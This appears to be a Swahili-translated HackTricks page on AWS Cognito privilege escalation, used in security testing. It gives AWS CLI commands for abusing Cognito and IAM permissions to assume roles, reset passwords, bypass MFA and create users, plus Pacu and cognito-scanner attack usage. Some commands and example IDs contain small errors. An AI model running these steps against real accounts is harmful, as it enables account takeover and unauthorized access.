AWS - Cognito Privesc

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Cognito

Kwa habari zaidi kuhusu Cognito angalia:

pageAWS - Cognito Enum

Kukusanya Anwani za Kitambulisho kutoka Kwa Dimbwi la Kitambulisho

Kwa kuwa Cognito inaweza kutoa anwani za kitambulisho za jukumu la IAM kwa watumiaji waliothibitishwa na wasiothibitishwa, ikiwa utapata Kitambulisho la Dimbwi la Kitambulisho la programu (linapaswa kuwa limeandikwa kwenye hiyo) unaweza kupata anwani mpya na hivyo ukarabati wa haki (ndani ya akaunti ya AWS ambapo labda hata haukuwa na anwani hapo awali).

Kwa habari zaidi angalia ukurasa huu.

Athari Inayowezekana: Ukarabati wa moja kwa moja kwa jukumu la huduma lililounganishwa na watumiaji wasiothibitishwa (na labda kwa lile lililoambatishwa kwa watumiaji waliothibitishwa).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Kwa idhini hii unaweza kutoa jukumu lolote la cognito kwa watumiaji waliothibitishwa/wasiothibitishwa wa programu ya cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Ikiwa programu ya cognito haina watumiaji wasiothibitishwa wakiwezeshwa unaweza pia kuhitaji ruhusa ya cognito-identity:UpdateIdentityPool kuwezesha hilo.

Matokeo Yanayowezekana: Privesc moja kwa moja kwa jukumu lolote la cognito.

cognito-identity:update-identity-pool

Mshambuliaji mwenye ruhusa hii anaweza kuweka kwa mfano Cognito User Pool chini ya udhibiti wake au mtoa huduma mwingine yeyote wa utambulisho ambapo anaweza kuingia kama njia ya kufikia hii Cognito Identity Pool. Kisha, tu kuingia kwenye mtoa huduma huyo wa mtumiaji kutamruhusu kufikia jukumu lililothibitishwa lililoconfigure katika Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Pia ni inawezekana kutumia ruhusa hii kuruhusu uthibitishaji wa msingi:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Athari Inayoweza Kutokea: Kudukua jukumu lililoidhinishwa la IAM ndani ya dimbwi la kitambulisho.

cognito-idp:AdminAddUserToGroup

Ruhusa hii inaruhusu kuongeza mtumiaji wa Cognito kwenye kikundi cha Cognito, hivyo basi mshambuliaji anaweza kutumia ruhusa hii kuongeza mtumiaji chini ya udhibiti wake kwenye vikundi vingine vyenye ruhusa bora au majukumu tofauti ya IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Athari Inayowezekana: Privesc kwenda kwa vikundi vingine vya Cognito na majukumu ya IAM yanayohusishwa na Vikundi vya User Pool.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Mshambuliaji mwenye ruhusa hizi anaweza kuunda/kusasisha vikundi na kila jukumu la IAM linaloweza kutumiwa na Mtoa Huduma ya Kitambulisho cha Cognito kilichodukuliwa na kufanya mtumiaji aliye dhoofishwa kuwa sehemu ya kikundi, kupata ufikivu wa majukumu hayo yote:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Madhara Yanayoweza Kutokea: Privesc kwenda kwa majukumu mengine ya IAM ya Cognito.

cognito-idp:AdminConfirmSignUp

Ruhusa hii inaruhusu kuthibitisha usajili. Kwa chaguo-msingi yeyote anaweza kujiandikisha kwenye programu za Cognito, ikiwa imeachwa hivyo, mtumiaji anaweza kuunda akaunti na data yoyote na kuitathmini kwa ruhusa hii.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa ikiwa unaweza kujiandikisha mtumiaji mpya. Privesc isiyo ya moja kwa moja kwa utendaji mwingine wa programu ukiwa na uwezo wa kuthibitisha akaunti yoyote.

cognito-idp:AdminCreateUser

Ruhusa hii ingemruhusu mshambuliaji kuunda mtumiaji mpya ndani ya dimbwi la watumiaji. Mtumiaji mpya huundwa akiwa amewezeshwa, lakini atahitaji kubadilisha nenosiri lake.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Athari Inayoweza Kutokea: Privesc moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa. Privesc isiyo ya moja kwa moja kwa utendaji mwingine wa programu ukiwa na uwezo wa kuunda mtumiaji yeyote

cognito-idp:AdminEnableUser

Ruhusa hii inaweza kusaidia katika hali ya kipekee sana ambapo muhusika amepata siri za mtumiaji aliyefungwa na anahitaji kuwawezesha tena.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Athari Inayowezekana: Privesc isiyo ya moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa na ruhusa ya mtumiaji ikiwa muhusika angekuwa na sifa za mtumiaji aliyefungwa.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Kibali hiki kuruhusu kuingia kwa njia ya ADMIN_USER_PASSWORD_AUTH. Kwa maelezo zaidi fuata kiungo.

cognito-idp:AdminSetUserPassword

Kibali hiki kingeiruhusu muhusika kubadilisha nenosiri la mtumiaji yeyote, kumfanya aweze kujifanya kuwa mtumiaji yeyote (ambaye hana MFA imewezeshwa).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Athari Inayowezekana: Privesc moja kwa moja kwa karibu mtumiaji yeyote, hivyo kupata ufikiaji wa vikundi vyote ambavyo kila mtumiaji ni mwanachama na ufikiaji wa jukumu la IAM lililo thibitishwa na Kitambulisho cha Dimbwi.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Mshambuliaji anaweza kutumia ruhusa hii kwa uwezekano wa kuweka simu ya mkononi chini ya udhibiti wake kama SMS MFA ya mtumiaji.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Kama ilivyokuwa kwa ile ya awali, ruhusa hii inaweza kutumika kuweka upendeleo wa MFA wa mtumiaji ili kudukua ulinzi wa MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Kama ilivyokuwa kwa ile ya awali, ruhusa hii inaweza kutumika kuweka mipangilio ya MFA ya dimbwi la watumiaji ili kukiuka ulinzi wa MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

SasishaUserPool: Pia inawezekana kusasisha dimbwi la watumiaji ili kubadilisha sera ya MFA. Angalia hapa cli.

Matokeo Yanayowezekana: Privesc isiyo ya moja kwa moja kwa karibu mtumiaji yeyote ambaye mshambuliaji anajua siri zake, hii inaweza kuruhusu kukiuka ulinzi wa MFA.

cognito-idp:AdminUpdateUserAttributes

Mshambuliaji mwenye ruhusa hii anaweza kubadilisha barua pepe au nambari ya simu au sifa nyingine yoyote ya mtumiaji chini ya udhibiti wake kujaribu kupata mamlaka zaidi katika programu ya msingi. Hii inaruhusu kubadilisha barua pepe au nambari ya simu na kuweka kama imehakikiwa.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Athari Inayowezekana: Privesc ya moja kwa moja katika programu ya msingi inayotumia Cognito User Pool ambayo inatoa mamlaka kulingana na sifa za mtumiaji.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Mshambuliaji mwenye idhini hii anaweza kuunda Mteja Mpya wa User Pool usio na vizuizi zaidi kuliko wateja wa dimbwi lililopo tayari. Kwa mfano, mteja mpya unaweza kuruhusu aina yoyote ya njia ya kuthibitisha, usiwe na siri yoyote, kuwezesha kufuta kwa alama za kidole, kuruhusu alama kuwa halali kwa muda mrefu...

Hali hiyo hiyo inaweza kufanyika ikiwa badala ya kuunda mteja mpya, mteja uliopo unabadilishwa.

Katika mstari wa amri (au wa kuboresha) unaweza kuona chaguo zote, zitazame!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Athari Inayowezekana: Privesc ya moja kwa moja kwa mtumiaji aliyeidhinishwa na Kitambulisho cha Kitambulisho kinachotumiwa na Kitambulisho cha Mtumiaji kwa kujenga mteja mpya ambao unapunguza hatua za usalama na kuruhusu mpangaji kuingia kwa mtumiaji ambaye alikuwa na uwezo wa kuunda.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Mshambuliaji anaweza kutumia ruhusa hii kuunda watumiaji kwa kupakia csv na watumiaji wapya.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa. Privesc isiyo ya moja kwa moja kwa utendaji mwingine wa programu ukiwa na uwezo wa kuunda mtumiaji yeyote.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Mshambuliaji anaweza kuunda mtoa kitambulisho mpya kisha kuweza kuingia kupitia mtoa huyu.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Matokeo Yanayowezekana: Privesc moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa. Privesc isiyo ya moja kwa moja kwa utendaji mwingine wa programu ukiwa na uwezo wa kuunda mtumiaji yeyote.

Uchambuzi wa cognito-sync:*

Hii ni idhini ya kawaida sana kwa chaguo-msingi katika majukumu ya Dimbwi la Kitambulisho la Cognito. Hata kama alama ya mwanya katika idhini daima inaonekana mbaya (hasa ikija kutoka AWS), idhini zilizotolewa sio za maana sana kutoka mtazamo wa mshambuliaji.

Idhini hii inaruhusu kusoma habari za matumizi ya Dimbwi la Kitambulisho na Vitambulisho vya Kitambulisho ndani ya Dimbwi la Kitambulisho (ambayo sio habari nyeti). Vitambulisho vya Kitambulisho vinaweza kuwa na Datasets zilizopewa, ambazo ni habari za vikao (AWS inaielezea kama mchezo uliohifadhiwa). Inaweza kuwa inawezekana kwamba hii ina habari fulani nyeti (lakini uwezekano ni mdogo sana). Unaweza kupata katika ukurasa wa uchambuzi jinsi ya kupata habari hii.

Mshambuliaji pia anaweza kutumia idhini hizi kujisajili kwenye mtiririko wa Cognito unaotangaza mabadiliko kwenye vikao hivi au lambda inayosababisha matukio ya cognito. Sijawahi kuona hili likitumika, na singetarajia kuwepo kwa habari nyeti hapa, lakini sio jambo lisilowezekana.

Zana za Kiotomatiki

  • Pacu, fremu ya unyonyaji ya AWS, sasa inajumuisha moduli za "cognito__enum" na "cognito__attack" ambazo zinautomatisha uchambuzi wa mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumiwa kwa kudhibiti ufikiaji, n.k., na pia kiotomatiki uundaji wa mtumiaji (ikiwa ni pamoja na usaidizi wa MFA) na privesc kulingana na sifa za desturi zinazoweza kuhaririwa, vitambulisho vya kitambulisho vinavyoweza kutumiwa, majukumu yanayoweza kuchukuliwa katika alama za kitambulisho, n.k.

Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya machapisho ya blogu. Kwa maelekezo ya usakinishaji angalia ukurasa wa kuu wa Pacu.

Matumizi

Matumizi ya mfano ya cognito__attack kujaribu uundaji wa mtumiaji na vekta zote za privesc dhidi ya dimbwi la kitambulisho lililopewa na mteja wa dimbwi la mtumiaji:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Matumizi ya cognito__enum ya sampuli kuchukua mabwawa yote ya watumiaji, wateja wa bwawa la watumiaji, mabwawa ya utambulisho, watumiaji, n.k. yanayoonekana katika akaunti ya AWS ya sasa:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ni chombo cha CLI kilichoandikwa kwa lugha ya python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na kuboresha mamlaka ya upatikanaji.

Usanidi

$ pip install cognito-scanner

Matumizi

$ cognito-scanner --help

Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated